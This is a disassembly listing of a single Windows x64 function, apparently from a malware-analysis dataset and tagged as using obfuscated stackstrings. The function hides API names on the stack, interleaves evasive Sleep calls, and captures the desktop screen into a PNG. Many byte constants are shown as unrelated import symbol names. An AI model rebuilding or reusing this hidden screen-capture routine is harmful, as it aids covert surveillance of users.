Function at 0x140022270
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x368
mov qword [rsp + 0x190], 0xfffffffffffffffe
mov rax, qword [0x14009c688]
xor rax, rsp
mov qword [rsp + 0x358], rax
mov eax, Ordinal_79
mov word [rsp + 0x2d0], ax
mov eax, 0x45
mov word [rsp + 0x2d2], ax
mov eax, 0x52
mov word [rsp + 0x2d4], ax
mov eax, Ordinal_79
mov word [rsp + 0x2d6], ax
mov eax, 0x45
mov word [rsp + 0x2d8], ax
mov eax, Ordinal_79
mov word [rsp + 0x2da], ax
mov eax, 0x33
mov word [rsp + 0x2dc], ax
mov eax, reloc.WLDAP32.dll_Ordinal_50
mov word [rsp + 0x2de], ax
mov eax, reloc.WLDAP32.dll_Ordinal_46
mov word [rsp + 0x2e0], ax
mov eax, 0x64
mov word [rsp + 0x2e2], ax
mov eax, WSASetLastError
mov word [rsp + 0x2e4], ax
mov eax, WSASetLastError
mov word [rsp + 0x2e6], ax
xor eax, eax
mov word [rsp + 0x2e8], ax
mov byte [rsp + 0x260], 0x47
mov byte [rsp + 0x261], 0x65
mov byte [rsp + 0x262], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x263], 0x50
mov byte [rsp + 0x264], WSACleanup
mov byte [rsp + 0x265], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x266], 0x63
mov byte [rsp + 0x267], 0x41
mov byte [rsp + 0x268], 0x64
mov byte [rsp + 0x269], 0x64
mov byte [rsp + 0x26a], WSACleanup
mov byte [rsp + 0x26b], 0x65
mov byte [rsp + 0x26c], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x26d], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x26e], 0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x2d0]
call fcn.140021410
lea rdx, [rsp + 0x260]
mov rcx, rax
call fcn.140021240
mov qword [rsp + 0x60], rax
mov byte [rsp + 0x240], Ordinal_79
mov byte [rsp + 0x241], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x242], 0x61
mov byte [rsp + 0x243], 0x64
mov byte [rsp + 0x244], Ordinal_79
mov byte [rsp + 0x245], WSASetLastError
mov byte [rsp + 0x246], 0x62
mov byte [rsp + 0x247], WSACleanup
mov byte [rsp + 0x248], 0x61
mov byte [rsp + 0x249], WSACleanup
mov byte [rsp + 0x24a], 0x79
mov byte [rsp + 0x24b], 0x41
mov byte [rsp + 0x24c], 0
lea rcx, [rsp + 0x2d0]
call fcn.140021410
lea rdx, [rsp + 0x240]
mov rcx, rax
call fcn.140021240
mov qword [rsp + 0x90], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x1c8]
call fcn.140021590
xor r8d, r8d
lea rdx, [rsp + 0x1c8]
lea rcx, [rsp + 0x1a8]
call qword [sym.imp.gdiplus.dll_GdiplusStartup]
mov byte [rsp + 0x230], 0x55
mov byte [rsp + 0x231], 0x53
mov byte [rsp + 0x232], 0x45
mov byte [rsp + 0x233], 0x52
mov byte [rsp + 0x234], gethostname
mov byte [rsp + 0x235], reloc.WLDAP32.dll_Ordinal_50
mov byte [rsp + 0x236], reloc.WLDAP32.dll_Ordinal_46
mov byte [rsp + 0x237], 0x64
mov byte [rsp + 0x238], WSASetLastError
mov byte [rsp + 0x239], WSASetLastError
mov byte [rsp + 0x23a], 0
mov byte [rsp + 0x270], 0x47
mov byte [rsp + 0x271], 0x65
mov byte [rsp + 0x272], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x273], 0x44
mov byte [rsp + 0x274], 0x65
mov byte [rsp + 0x275], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x276], WSASetLastError
mov byte [rsp + 0x277], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x278], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x279], reloc.WS2_32.dll_WSASetLastError
mov byte [rsp + 0x27a], 0x57
mov byte [rsp + 0x27b], WSASetLastError
mov byte [rsp + 0x27c], WSACleanup
mov byte [rsp + 0x27d], 0x64
mov byte [rsp + 0x27e], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x27f], 0x77
mov byte [rsp + 0x280], 0
lea rcx, [rsp + 0x230]
call qword [rsp + 0x90]
lea rdx, [rsp + 0x270]
mov rcx, rax
call qword [rsp + 0x60]
mov qword [rsp + 0xf8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [rsp + 0xf8]
mov qword [rsp + 0xe0], rax
mov eax, Ordinal_79
mov word [rsp + 0x308], ax
mov eax, 0x45
mov word [rsp + 0x30a], ax
mov eax, 0x52
mov word [rsp + 0x30c], ax
mov eax, Ordinal_79
mov word [rsp + 0x30e], ax
mov eax, 0x45
mov word [rsp + 0x310], ax
mov eax, Ordinal_79
mov word [rsp + 0x312], ax
mov eax, 0x33
mov word [rsp + 0x314], ax
mov eax, reloc.WLDAP32.dll_Ordinal_50
mov word [rsp + 0x316], ax
mov eax, reloc.WLDAP32.dll_Ordinal_46
mov word [rsp + 0x318], ax
mov eax, 0x64
mov word [rsp + 0x31a], ax
mov eax, WSASetLastError
mov word [rsp + 0x31c], ax
mov eax, WSASetLastError
mov word [rsp + 0x31e], ax
xor eax, eax
mov word [rsp + 0x320], ax
mov byte [rsp + 0x250], Ordinal_79
mov byte [rsp + 0x251], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x252], 0x61
mov byte [rsp + 0x253], 0x64
mov byte [rsp + 0x254], Ordinal_79
mov byte [rsp + 0x255], WSASetLastError
mov byte [rsp + 0x256], 0x62
mov byte [rsp + 0x257], WSACleanup
mov byte [rsp + 0x258], 0x61
mov byte [rsp + 0x259], WSACleanup
mov byte [rsp + 0x25a], 0x79
mov byte [rsp + 0x25b], 0x57
mov byte [rsp + 0x25c], 0
lea rcx, [rsp + 0x308]
call fcn.140021410
lea rdx, [rsp + 0x250]
mov rcx, rax
call qword [rsp + 0x60]
mov qword [rsp + 0xd0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x55
mov word [rsp + 0x2b8], ax
mov eax, reloc.WS2_32.dll_WSAStartup
mov word [rsp + 0x2ba], ax
mov eax, 0x65
mov word [rsp + 0x2bc], ax
mov eax, WSACleanup
mov word [rsp + 0x2be], ax
mov eax, 0x33
mov word [rsp + 0x2c0], ax
mov eax, reloc.WLDAP32.dll_Ordinal_50
mov word [rsp + 0x2c2], ax
mov eax, reloc.WLDAP32.dll_Ordinal_46
mov word [rsp + 0x2c4], ax
mov eax, 0x64
mov word [rsp + 0x2c6], ax
mov eax, WSASetLastError
mov word [rsp + 0x2c8], ax
mov eax, WSASetLastError
mov word [rsp + 0x2ca], ax
xor eax, eax
mov word [rsp + 0x2cc], ax
mov byte [rsp + 0x208], 0x47
mov byte [rsp + 0x209], 0x65
mov byte [rsp + 0x20a], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x20b], 0x44
mov byte [rsp + 0x20c], 0x43
mov byte [rsp + 0x20d], 0
lea rcx, [rsp + 0x2b8]
call qword [rsp + Ordinal_211]
lea rdx, [rsp + 0x208]
mov rcx, rax
call qword [rsp + 0x60]
mov qword [rsp + 0x100], rax
mov rcx, qword [rsp + 0xe0]
call qword [rsp + 0x100]
mov qword [rsp + 0x70], rax
mov byte [rsp + 0x1f8], 0x67
mov byte [rsp + 0x1f9], 0x64
mov byte [rsp + 0x1fa], WSASetLastError
mov byte [rsp + 0x1fb], gethostname
mov byte [rsp + 0x1fc], reloc.WLDAP32.dll_Ordinal_50
mov byte [rsp + 0x1fd], reloc.WLDAP32.dll_Ordinal_46
mov byte [rsp + 0x1fe], 0x64
mov byte [rsp + 0x1ff], WSASetLastError
mov byte [rsp + 0x200], WSASetLastError
mov byte [rsp + 0x201], 0
mov byte [rsp + 0x288], 0x43
mov byte [rsp + 0x289], WSACleanup
mov byte [rsp + 0x28a], 0x65
mov byte [rsp + 0x28b], 0x61
mov byte [rsp + 0x28c], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x28d], 0x65
mov byte [rsp + 0x28e], 0x43
mov byte [rsp + 0x28f], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x290], WSACleanup
mov byte [rsp + 0x291], reloc.WS2_32.dll_WSASetLastError
mov byte [rsp + 0x292], 0x61
mov byte [rsp + 0x293], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x294], WSASetLastError
mov byte [rsp + 0x295], 0x62
mov byte [rsp + 0x296], WSASetLastError
mov byte [rsp + 0x297], 0x65
mov byte [rsp + 0x298], 0x44
mov byte [rsp + 0x299], 0x43
mov byte [rsp + 0x29a], 0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x1f8]
call qword [rsp + 0x90]
lea rdx, [rsp + 0x288]
mov rcx, rax
call qword [rsp + 0x60]
mov qword [rsp + 0x108], rax
mov rcx, qword [rsp + 0x70]
call qword [rsp + 0x108]
mov qword [rsp + 0x88], rax
mov edx, 0x76
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.GDI32.dll_GetDeviceCaps]
mov dword [rsp + 0x7c], eax
mov edx, 0x75
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.GDI32.dll_GetDeviceCaps]
mov dword [rsp + 0x78], eax
mov eax, 0x67
mov word [rsp + 0x2f0], ax
mov eax, 0x64
mov word [rsp + 0x2f2], ax
mov eax, 0x69
mov word [rsp + 0x2f4], ax
mov eax, 0x33
mov word [rsp + 0x2f6], ax
mov eax, reloc.WLDAP32.dll_Ordinal_50
mov word [rsp + 0x2f8], ax
mov eax, reloc.WLDAP32.dll_Ordinal_46
mov word [rsp + 0x2fa], ax
mov eax, 0x64
mov word [rsp + 0x2fc], ax
mov eax, WSASetLastError
mov word [rsp + 0x2fe], ax
mov eax, WSASetLastError
mov word [rsp + 0x300], ax
xor eax, eax
mov word [rsp + 0x302], ax
mov byte [rsp + 0x2a0], 0x43
mov byte [rsp + 0x2a1], WSACleanup
mov byte [rsp + 0x2a2], 0x65
mov byte [rsp + 0x2a3], 0x61
mov byte [rsp + 0x2a4], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x2a5], 0x65
mov byte [rsp + 0x2a6], 0x43
mov byte [rsp + 0x2a7], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x2a8], WSACleanup
mov byte [rsp + 0x2a9], reloc.WS2_32.dll_WSASetLastError
mov byte [rsp + 0x2aa], 0x61
mov byte [rsp + 0x2ab], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x2ac], WSASetLastError
mov byte [rsp + 0x2ad], 0x62
mov byte [rsp + 0x2ae], WSASetLastError
mov byte [rsp + 0x2af], 0x65
mov byte [rsp + 0x2b0], 0x42
mov byte [rsp + 0x2b1], WSASetLastError
mov byte [rsp + 0x2b2], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x2b3], WSACleanup
mov byte [rsp + 0x2b4], 0x61
mov byte [rsp + 0x2b5], reloc.WS2_32.dll_WSASetLastError
mov byte [rsp + 0x2b6], 0
lea rcx, [rsp + 0x1f8]
call qword [rsp + 0x90]
lea rdx, [rsp + 0x2a0]
mov rcx, rax
call qword [rsp + 0x60]
mov qword [rsp + 0x110], rax
mov r8d, dword [rsp + 0x78]
mov edx, dword [rsp + 0x7c]
mov rcx, qword [rsp + 0x70]
call qword [rsp + pe_nt_image_headers64]
mov qword [rsp + 0xc8], rax
mov rdx, qword [rsp + 0xc8]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.GDI32.dll_SelectObject]
mov qword [rsp + 0x120], rax
lea rcx, [rsp + 0x1f8]
call qword [rsp + 0x90]
lea rdx, str.BitBlt
mov rcx, rax
call qword [rsp + 0x60]
mov qword [rsp + 0x118], rax
mov dword [rsp + 0x40], 0x40cc0020
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0x78]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x7c]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x88]
call qword [rsp + 0x118]
mov rdx, qword [rsp + 0x120]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.GDI32.dll_SelectObject]
mov byte [rsp + 0x68], 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x380]
call fcn.140021de0
mov qword [rsp + 0x160], rax
mov rax, qword [0x14008e8e8]
mov qword [rsp + 0x328], rax
lea rax, [rsp + 0x330]
mov rdi, rax
xor eax, eax
mov ecx, 2
rep stosb byte [rdi], al
lea rax, [rsp + 0x338]
lea rcx, [0x14008e8f0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_sendto
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x34c]
mov rdi, rax
xor eax, eax
mov ecx, recv
rep stosb byte [rdi], al
mov dword [rsp + 0x9c], 0xffffffff
mov dword [rsp + 0x54], 0xffffffff
mov dword [rsp + 0x50], 1
jmp 0x140022c18
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll___p___argc]
mov eax, dword [rax]
dec eax
cmp dword [rsp + 0x50], eax
jge 0x140022e52
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll___p___wargv]
movsxd rcx, dword [rsp + 0x50]
mov rax, qword [rax]
mov rax, qword [rax + rcx*8]
lea rcx, str._encoder
sub rcx, rax
movzx edx, word [rax]
cmp dx, word [rax + rcx]
jne 0x140022c5e
add rax, 2
test dx, dx
jne 0x140022c48
xor eax, eax
jmp 0x140022c63
sbb eax, eax
or eax, 1
test eax, eax
je 0x140022ca2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll___p___wargv]
movsxd rcx, dword [rsp + 0x50]
mov rax, qword [rax]
mov rax, qword [rax + rcx*8]
lea rcx, [0x14008e91c]
sub rcx, rax
movzx edx, word [rax]
cmp dx, word [rax + rcx]
jne 0x140022c99
add rax, 2
test dx, dx
jne 0x140022c83
xor eax, eax
jmp 0x140022c9e
sbb eax, eax
or eax, 1
test eax, eax
jne 0x140022ced
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
movsxd rax, dword [rsp + 0x50]
mov qword [rsp + 0x128], rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll___p___wargv]
mov rax, qword [rax]
mov r9, 0xffffffffffffffff
mov rcx, qword [rsp + 0x128]
mov r8, qword [rax + rcx*8]
mov edx, 5
lea rcx, [rsp + 0x328]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy_s]
jmp 0x140022e4d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll___p___wargv]
movsxd rcx, dword [rsp + 0x50]
mov rax, qword [rax]
mov rax, qword [rax + rcx*8]
lea rcx, str._quality
sub rcx, rax
movzx edx, word [rax]
cmp dx, word [rax + rcx]
jne 0x140022d1f
add rax, 2
test dx, dx
jne 0x140022d09
xor eax, eax
jmp 0x140022d24
sbb eax, eax
or eax, 1
test eax, eax
je 0x140022d63
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll___p___wargv]
movsxd rcx, dword [rsp + 0x50]
mov rax, qword [rax]
mov rax, qword [rax + rcx*8]
lea rcx, [0x14008e93c]
sub rcx, rax
movzx edx, word [rax]
cmp dx, word [rax + rcx]
jne 0x140022d5a
add rax, 2
test dx, dx
jne 0x140022d44
xor eax, eax
jmp 0x140022d5f
sbb eax, eax
or eax, 1
test eax, eax
jne 0x140022da1
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
movsxd rax, dword [rsp + 0x50]
mov qword [rsp + 0x130], rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll___p___wargv]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x130]
mov rcx, qword [rax + rcx*8]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__wtol]
mov dword [rsp + 0x9c], eax
jmp 0x140022e4d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll___p___wargv]
movsxd rcx, dword [rsp + 0x50]
mov rax, qword [rax]
mov rax, qword [rax + rcx*8]
lea rcx, str._resize
sub rcx, rax
movzx edx, word [rax]
cmp dx, word [rax + rcx]
jne 0x140022dd3
add rax, 2
test dx, dx
jne 0x140022dbd
xor eax, eax
jmp 0x140022dd8
sbb eax, eax
or eax, 1
test eax, eax
je 0x140022e17
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll___p___wargv]
movsxd rcx, dword [rsp + 0x50]
mov rax, qword [rax]
mov rax, qword [rax + rcx*8]
lea rcx, [0x14008e958]
sub rcx, rax
movzx edx, word [rax]
cmp dx, word [rax + rcx]
jne 0x140022e0e
add rax, 2
test dx, dx
jne 0x140022df8
xor eax, eax
jmp 0x140022e13
sbb eax, eax
or eax, 1
test eax, eax
jne 0x140022e4d
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
movsxd rax, dword [rsp + 0x50]
mov qword [rsp + 0x138], rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll___p___wargv]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x138]
mov rcx, qword [rax + rcx*8]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__wtoi]
mov dword [rsp + 0x54], eax
jmp 0x140022c0e
xor edx, edx
mov rcx, qword [rsp + 0xc8]
call fcn.140021c80
mov qword [rsp + 0x58], rax
mov dword [rsp + 0xe8], 1
cmp dword [rsp + 0x54], 0
jle 0x140022f1e
cmp dword [rsp + 0x54], 0x64
jge 0x140022f1e
cmp qword [rsp + 0x58], 0
je 0x140022f1e
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [rsp + 0x54]
mov rcx, qword [rsp + 0x58]
call fcn.140022030
mov qword [rsp + 0x150], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0xa0], rax
cmp qword [rsp + 0xa0], 0
je 0x140022f05
mov rax, qword [rsp + 0xa0]
mov rax, qword [rax]
mov edx, 1
mov rcx, qword [rsp + 0xa0]
call qword [rax]
mov qword [rsp + 0x148], rax
jmp 0x140022f11
mov qword [rsp + 0x148], 0
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0x58], rax
mov eax, reloc.WS2_32.dll_recv
sub rax, 6
mov ecx, 2
imul rcx, rcx, 6
lea rcx, [rsp + rcx + 0x338]
mov r9, 0xffffffffffffffff
lea r8, [rsp + 0x328]
mov rdx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy_s]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [rsp + 0x58], 0
je 0x1400231cb
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x1e0]
call fcn.140021590
xor r8d, r8d
lea rdx, [rsp + 0x1e0]
lea rcx, [rsp + 0x1b0]
call qword [sym.imp.gdiplus.dll_GdiplusStartup]
mov rcx, qword [rsp + 0x58]
call fcn.1400219b0
mov dword [rsp + 0x80], eax
mov rcx, qword [rsp + 0x58]
call fcn.140021a10
mov dword [rsp + 0x98], eax
mov eax, dword [rsp + 0x80]
cdq
and edx, 3
add eax, edx
sar eax, 2
imul eax, eax, 3
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x98]
imul eax, dword [rsp + 0x6c]
cdq
idiv dword [rsp + 0x80]
mov dword [rsp + 0x84], eax
mov ecx, Ordinal_27
call fcn.140021570
mov qword [rsp + 0xa8], rax
cmp qword [rsp + 0xa8], 0
je 0x140023049
mov edx, Ordinal_27
mov rcx, qword [rsp + 0xa8]
call fcn.1400043b0
mov r9d, 0x30803
mov r8d, dword [rsp + 0x84]
mov edx, dword [rsp + 0x6c]
mov rcx, qword [rsp + 0xa8]
call fcn.140021b30
mov qword [rsp + 0xd8], rax
jmp 0x140023055
mov qword [rsp + 0xd8], 0
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0xb0], rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x198]
call fcn.1400043b0
mov rdx, qword [rsp + 0xb0]
lea rcx, [rsp + 0x198]
call fcn.140021700
nop
xor edx, edx
lea rcx, [rsp + 0x198]
call fcn.140021790
mov eax, dword [rsp + 0x84]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x6c]
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x58]
lea rcx, [rsp + 0x198]
call fcn.1400217c0
lea rdx, [rsp + 0x1b8]
lea rcx, str.image_png
call fcn.140021ef0
xor r9d, r9d
lea r8, [rsp + 0x1b8]
mov rdx, qword [rsp + 0x160]
mov rcx, qword [rsp + 0xb0]
call fcn.140021960
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x168], rax
mov rax, qword [rsp + 0x168]
mov qword [rsp + 0xb8], rax
cmp qword [rsp + 0xb8], 0
je 0x14002315a
mov rax, qword [rsp + 0xb8]
mov rax, qword [rax]
mov edx, 1
mov rcx, qword [rsp + 0xb8]
call qword [rax]
mov qword [rsp + 0x170], rax
jmp 0x140023166
mov qword [rsp + 0x170], 0
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x178], rax
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0xc0], rax
cmp qword [rsp + 0xc0], 0
je 0x1400231b2
mov rax, qword [rsp + 0xc0]
mov rax, qword [rax]
mov edx, 1
mov rcx, qword [rsp + 0xc0]
call qword [rax]
mov qword [rsp + 0x180], rax
jmp 0x1400231be
mov qword [rsp + 0x180], 0
lea rcx, [rsp + 0x198]
call fcn.140021770
mov rcx, qword [rsp + 0x1a8]
call qword [sym.imp.gdiplus.dll_GdiplusShutdown]
mov byte [rsp + 0x220], 0x52
mov byte [rsp + 0x221], 0x65
mov byte [rsp + 0x222], WSASetLastError
mov byte [rsp + 0x223], 0x65
mov byte [rsp + 0x224], 0x61
mov byte [rsp + 0x225], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x226], 0x65
mov byte [rsp + 0x227], 0x44
mov byte [rsp + 0x228], 0x43
mov byte [rsp + 0x229], 0
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x2b8]
call qword [rsp + Ordinal_211]
lea rdx, [rsp + 0x220]
mov rcx, rax
call qword [rsp + 0x60]
mov qword [rsp + 0x188], rax
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0xe0]
call qword [rsp + 0x188]
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.GDI32.dll_DeleteObject]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rsp + 0x210], 0x44
mov byte [rsp + 0x211], 0x65
mov byte [rsp + 0x212], WSASetLastError
mov byte [rsp + 0x213], 0x65
mov byte [rsp + 0x214], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x215], 0x65
mov byte [rsp + 0x216], 0x44
mov byte [rsp + 0x217], 0x43
mov byte [rsp + 0x218], 0
lea rcx, [rsp + 0x2f0]
call qword [rsp + Ordinal_211]
lea rdx, [rsp + 0x210]
mov rcx, rax
call qword [rsp + 0x60]
mov qword [rsp + 0xf0], rax
mov rcx, qword [rsp + 0x88]
call qword [rsp + 0xf0]
mov eax, 1
mov rcx, qword [rsp + 0x358]
xor rcx, rsp
call fcn.14007c450
add rsp, 0x368
pop rdi
pop rsi
ret